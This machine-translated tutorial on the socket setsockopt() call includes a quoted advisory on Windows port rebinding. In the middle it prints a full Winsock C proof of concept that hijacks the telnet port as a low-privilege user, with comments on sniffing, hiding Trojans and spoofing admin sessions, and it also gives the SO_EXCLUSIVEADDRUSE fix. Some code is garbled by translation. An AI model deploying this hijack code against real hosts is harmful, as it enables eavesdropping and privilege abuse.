# Include <sys/types. h> # Include <sys/socket. h>Int setsockopt (int s, int level, int optname, const void * optval, Socklen_t optlen ); S: socket, pointing to an open interface description Level: specifies the type of the Option Code. The specific types are as follows: SOL_SOCKET: basic set of interfaces IPPROTO_IP: IPv4 Interface IPPROTO_IPV6: IPv6 Interface IPPROTO_TCP: TCP interface set Optname: Option name Optval: option value, which is a pointer type pointing to a variable Optlen: the length of the option, that is, the optval size. Return Value: if the function is successfully executed, 0 is returned. If the function fails to be executed,-1 is returned. Therefore, you can follow the pseudo code below: Int sockfd; Int cflag; Sockfd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP ); If (sockfd <0) { Printf ("socket () error/n "); Exit (-); } Cflag = 1; If (setsockopt (sockfd, SOL_SOCKET, SO_REUSEADDR, (Char *) & cflag, sizeof (cflag) =-1) { Printf ("setsockopt () error/n "); Exit (-); } The code above demonstrates how to solve the problem of duplicate address binding. However, this code is undoubtedly exposed to a serious security problem, that is, port hijacking. It is very likely that a program is communicating normally, and a malicious program uses this function to rebind the port and address, data theft and tampering. Of course, this vulnerability was not found in RedHat Linux 9.0. But this is not the case in Windows. The following is an excerpt from the flash sky (http://www.xfocus.net) article on the security focus (flashsky1@sina.com) website, which is well spoken and has routines. As a result, we copied it and shared it with network enthusiasts. ------------------------------------------------- In the implementation of winsock, the server can be bound multiple times. When determining who is using the multiple bindings, according to one principle, the user who specifies the package is the most explicit and has no permissions, that is, the user with low-level permissions can be rebound to the user with advanced permissions to use the port. For example, bind a service port. What does this mean? This means that the following attacks can be performed: 1. A Trojan is bound to a valid port to hide the port. It uses its own package format to determine whether it is its own package. If it is your own data packet, it will be processed by yourself. If it is not through 127.0.0.1 address, it will be handed over to the Real Server application for processing. 2. A Trojan can bind a port of a High-Permission service application to a low-Permission user to sniff the processing information, listening to a SOCKET communication on a host requires a high level of permission. However, using SOCKET rebinding, you can easily listen for communication with this SOCKET programming vulnerability, there is no need to use any mounting, hook or low-layer driver technology. 3. for some special applications, man-in-the-middle attacks can be initiated to obtain information from low-Permission users or to cheat the facts. For example, the man-in-the-middle attack can intercept port 23 of the telnet server under the guest permission, if NTLM is used for encryption and authentication, although you cannot obtain the password through sniffing, once an admin user logs on to the console, your application can initiate man-in-the-middle attacks, assume that the login user sends a high-Permission command through the SOCKET to achieve the purpose of intrusion. 4. For the built WEB server, intruders only need to obtain low-level permissions to completely change the webpage. It's easy to assume that your server responds to connection requests with other information, or even gets illegal data based on e-commerce spoofing. In fact, SOCKET programming of many Microsoft services has such problems. telnet, ftp, and http Service implementations can all use this method for attacks, the SYSTEM application is intercepted on low-Permission users. The same is true for IIS, including W2K + SP3. If you have been able to intrude into or implant Trojans with low permissions and the other party has enabled these services, try again. In addition, I estimate that many third-party services also have this vulnerability. The solution is very simple. before writing the above application, you need to use setsockopt to specify SO_EXCLUSIVEADDRUSE to exclusively occupy all port addresses, instead of allowing reuse. In this way, other people cannot reuse this port. The following is a simple example of listening to the Microsoft telnet server. All the users in GUEST can successfully intercept the server. The rest is that you have made some special cropping issues based on your needs: such as hiding, sniffing data, and high-Permission user spoofing. # Include <winsock2.h> # Include <windows. h> # Include <stdio. h> # Include <stdlib. h> Dword winapi ClientThread (LPVOID lpParam ); Int main () { WORD wVersionRequested; DWORD ret; WSADATA wsaData; BOOL val; SOCKADDR_IN saddr; SOCKADDR_IN scaddr; Int err; SOCKET s; SOCKET SC; Int caddsize; HANDLE mt; DWORD tid; WVersionRequested = MAKEWORD (2, 2 ); Err = WSAStartup (wVersionRequested, & wsaData ); If (err! = 0 ){ Printf ("error! WSAStartup failed! /N "); Return-1; } Saddr. sin_family = AF_INET; // Although the intercept can also be set to INADDR_ANY, you should specify a specific IP address and leave 127.0.0.1 to the normal service application if it does not affect normal applications, then use this address for forwarding, so that the normal application of the other party is not affected. Saddr. sin_addr.s_addr = inet_addr ("192.168.0.60 "); Saddr. sin_port = htons (23 ); If (s = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP) = SOCKET_ERROR) { Printf ("error! Socket failed! /N "); Return-1; } Val = TRUE; // The SO_REUSEADDR option enables port rebinding. If (setsockopt (s, SOL_SOCKET, SO_REUSEADDR, (char *) & val, sizeof (val ))! = 0) { Printf ("error! Setsockopt failed! /N "); Return-1; } // If SO_EXCLUSIVEADDRUSE is specified, no binding is successful and no error code is returned; // If you want to hide the port by making full use of it, You can dynamically test which port can be successfully bound. This vulnerability indicates that the port can be used dynamically to make it more concealed. // In fact, UDP ports can be rebound in this way. The TELNET service is used as an example to launch attacks. If (bind (s, (SOCKADDR *) & saddr, sizeof (saddr) = SOCKET_ERROR) { Ret = GetLastError (); Printf ("error! Bind failed! /N "); Return-1; } Listen (s, 2 ); While (1) { Caddsize = sizeof (scaddr ); // Accept the connection request SC = accept (s, (struct sockaddr *) & scaddr, & caddsize ); If (SC! = INVALID_SOCKET) { Mt = CreateThread (NULL, 0, ClientThread, (LPVOID) SC, 0, & tid ); If (mt = NULL) { Printf ("Thread Creat Failed! /N "); Break; } } CloseHandle (mt ); } Closesocket (s ); WSACleanup (); Return 0; } Dword winapi ClientThread (LPVOID lpParam) { SOCKET ss = (SOCKET) lpParam; SOCKET SC; Unsigned char buf [4096]; SOCKADDR_IN saddr; Long num; DWORD val; DWORD ret; // If it is a hidden port application, you can add some judgments here // If it is your own package, you can perform some special processing. Otherwise, you can forward it through 127.0.0.1. Saddr. sin_family = AF_INET; Saddr. sin_addr.s_addr = inet_addr ("127.0.0.1 "); Saddr. sin_port = htons (23 ); If (SC = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP) = SOCKET_ERROR) { Printf ("error! Socket failed! /N "); Return-1; } Val = 100; If (setsockopt (SC, SOL_SOCKET, SO_RCVTIMEO, (char *) & val, sizeof (val ))! = 0) { Ret = GetLastError (); Return-1; } If (setsockopt (ss, SOL_SOCKET, SO_RCVTIMEO, (char *) & val, sizeof (val ))! = 0) { Ret = GetLastError (); Return-1; } If (connect (SC, (SOCKADDR *) & saddr, sizeof (saddr ))! = 0) { Printf ("error! Socket connect failed! /N "); Closesocket (SC ); Closesocket (ss ); Return-1; } While (1) { // The following code is mainly implemented through 127. 0. 0. 1. This address forwards the packet to the real application, and forwards the response packet back. // If the content is sniffing, you can analyze and record the content here. // If it is an attack such as a TELNET server, you can use its high-Permission login user to analyze its login user, and then use it to send a specific package for execution as a hijacked user. Num = recv (ss, buf, 4096,0 ); If (num> 0) Send (SC, buf, num, 0 ); Else if (num = 0) Break; Num = recv (SC, buf, 4096, 0 ); If (num> 0) Send (ss, buf, num, 0 ); Else if (num = 0) Break; } Closesocket (ss ); Closesocket (SC ); Return 0; } Setsockopt () usage 1. closesocket (usually does not close immediately and goes through the TIME_WAIT process) to continue to reuse the socket: BOOL bReuseaddr = TRUE; Setsockopt (s, SOL_SOCKET, SO_REUSEADDR, (const char *) & bReuseaddr, sizeof (BOOL )); 2. If you want to force close a soket that is already in the connection status after you call closesocket TIME_WAIT process: BOOL bDontLinger = FALSE; Setsockopt (s, SOL_SOCKET, SO_DONTLINGER, (const char *) & bDontLinger, sizeof (BOOL )); 3. In the send () and recv () processes, sometimes due to network conditions and other reasons, sending and receiving cannot be performed as expected, but set the sending and receiving time limit: Int nNetTimeout = 1000; // 1 second // Sending time limit Setsockopt (socket, SOL_S0CKET, SO_SNDTIMEO, (char *) & nNetTimeout, sizeof (int )); // Receiving time limit Setsockopt (socket, SOL_S0CKET, SO_RCVTIMEO, (char *) & nNetTimeout, sizeof (int )); 4. When sending (), the returned bytes are actually sent (synchronized) or the bytes sent to the socket buffer. (Asynchronous); by default, the system sends and receives data in 8688 bytes (about 8.5 KB) at a time. When receiving a large amount of data, you can set a socket buffer to avoid the continuous cyclic sending and receiving of send () and recv: // Receiving buffer Int nRecvBuf = 32*1024; // set it to 32 K Setsockopt (s, SOL_SOCKET, SO_RCVBUF, (const char *) & nRecvBuf, sizeof (int )); // Sending Buffer Int nSendBuf = 32*1024; // set it to 32 K Setsockopt (s, SOL_SOCKET, SO_SNDBUF, (const char *) & nSendBuf, sizeof (int )); 5. If you want to avoid the impact of copying data from the system buffer to the socket buffer when sending data Program performance: Int nZero = 0; Setsockopt (socket, SOL_S0CKET, SO_SNDBUF, (char *) & nZero, sizeof (nZero )); 6. Complete the preceding functions in recv (). By default, the socket buffer content is copied to the system buffer ): Int nZero = 0; Setsockopt (socket, SOL_S0CKET, SO_RCVBUF, (char *) & nZero, sizeof (int )); 7. Generally, when sending a UDP datagram, you want the data sent by the socket to have the broadcast feature: BOOL bBroadcast = TRUE; Setsockopt (s, SOL_SOCKET, SO_BROADCAST, (const char *) & bBroadcast, sizeof (BOOL )); 8. When the client connects to the server, if the socket in non-blocking mode is in the connect () process To set the connect () latency until accpet () is called (this function is set only when there is a significant non-blocking process) Function does not play a major role in blocked function calls) BOOL bConditionalAccept = TRUE; Setsockopt (s, SOL_SOCKET, SO_CONDITIONAL_ACCEPT, (const char *) & bConditionalAccept, sizeof (BOOL )); 9. If closesocket () is called while sending data (sending () is not completed, and data is not sent ), The general measure is to "calmly close" shutdown (s, SD_BOTH), but the data is definitely lost. How to set the program to meet specific requirements? Application requirements (that is, disable the socket after sending the unsent data )? Struct linger { U_short l_onoff; U_short l_linger; }; Linger m_sLinger; M_sLinger.l_onoff = 1; // (allowed to stay when closesocket () is called, but there is still data not sent) // If m_sLinger.l_onoff = 0, the function is the same as 2; M_sLinger.l_linger = 5; // (the allowable stay time is 5 seconds) Setsockopt (s, SOL_SOCKET, SO_LINGER, (const char *) & m_sLinger, sizeof (linger )); |